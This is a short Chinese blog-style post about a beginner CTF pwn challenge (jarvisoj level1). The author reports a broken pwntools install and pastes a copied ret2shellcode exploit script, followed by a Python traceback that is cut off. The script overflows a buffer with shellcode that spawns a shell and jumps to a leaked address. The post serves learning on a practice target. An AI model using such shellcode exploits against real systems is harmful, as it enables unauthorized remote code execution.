今天是个好日子,今天是12.21,冬至
今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜
这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp
from pwn import *
p = remote('pwn2.jarvisoj.com', 9877)
#p = process("./level1")
#接收从下标为第14位到倒数第二位的字符串
text = p.recvline()[14:-2]
print text[14:-2]
#将text字符串通过int函数转换为16进制的地址,作为跳转的地址
buf_addr = int(text, 16)
shellcode = asm(shellcraft.sh())
payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)
p.send(payload)
p.interactive()
然后运行,报错:
Traceback (most recent call last):
File "", line 1, in
File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__
return getattr(m, key)
File &#